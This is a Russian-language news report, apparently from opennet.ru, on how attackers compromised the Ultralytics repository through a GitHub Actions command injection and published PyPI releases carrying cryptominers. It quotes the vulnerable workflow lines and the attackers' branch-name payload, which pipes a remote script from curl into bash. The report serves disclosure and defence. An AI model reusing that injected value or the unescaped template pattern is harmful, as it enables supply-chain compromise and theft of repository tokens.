Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics

Злоумышленники смогли выполнить код с правами обработчика GitHub Actions в репозитори Python-библиотеки Ultralytics, применяемой для решения задач компьютерного зрения, таких как определение объектов на изображениях и сегментирование изображений. После получения доступа к репозиторию атакующие опубликовали в каталоге PyPI несколько новых релизов Ultralytics, включающих вредоносные изменения для майнинга криптовалют. За последний месяц библиотека Ultralytics была загружена из каталога PyPI более 6.4 млн раз.

Для компрометации репозитория использовалась уязвимость в пакете ultralytics-actions, используемом в для автоматического запуска обработчиков при совершении определённых действий с репозиторием на GitHub при помощи механизма GitHub Actions. В проекте ultralytics уязвимый обработчик привязывался к событию pull_request_target и вызывался при поступлении новых pull-запросов. В частности, для форматирования кода в присылаемых pull-запросах вызывался обработчик format.yml и выполнялся код, указанный в секции «run» файла action.yml, в котором присутствовали shell-команды с шаблонами подстановки:


  git pull origin ${{ github.head_ref || github.ref }}
  git config --global user.name "${{ inputs.github_username }}"
  git config --global user.email "${{ inputs.github_email }}"

Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе. Примечательно, что в августе в пакете ultralytics-actions уже исправлялась похожая уязвимость, связанная с использованием внешнего значения в функции echo:


  echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Для организации выполнения своего кода в контексте обработчика GitHub Actions атакующие отправили pull-запрос в репозиторий ultralytics, указав в качестве имени ветки:


   openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Соответственно, при поступлении pull-запроса в код подставилась заданная атакующими строка «$(…)», которая при при последующем запуске скрипта привела к выполнению кода «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».

Запуск кода в контексте GitHub Actions может использоваться для захвата токена доступа к репозиторию и других конфиденциальных данных. Как именно атакующим удалось сформировать релиз, получив возможность выполнения своего кода в GitHub Actions, пока точно не ясно, предполагается, что это стало возможным благодаря
изменению обработчика publish.yml (атакующие убрали проверку учётной записи с которой разрешено публиковать релизы в PyPI) и использованию техники отравления сборочного кэша GitHub Actions для подстановки своих данных в релиз.

Первый вредоносный релиз Ultralytics 8.3.41 был опубликован злоумышленниками в каталоге PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 на следующий день. В 15:47 был размещён ещё один релиз 8.3.42, который был удалён в 16:47. Таким образом вредоносные версии в общей сложности были доступны для загрузки около 13 часов. В состав выпусков
8.3.41 и 8.3.42 был добавлен код, осуществляющий загрузку с внешнего сервера компонента для майнинга криптовалюты.

Разработчики проекта устранили проблему и сформировали корректирующие релизы 8.3.43 и 8.3.44, но спустя два дня была совершена ещё одна атака, в ходе которой злоумышленники опубликовали сегодня в 04:41 и 05:27 (MSK) два дополнительных вредоносных релиза — 8.3.45 и 8.3.46, включающих другой код для майнинга. До окончания разбирательства пользователям рекомендуется повременить с установкой новых версий и зафиксировать в зависимостях выпуск 8.3.44.

Источник: http://www.opennet.ru/opennews/art.shtml?num=62365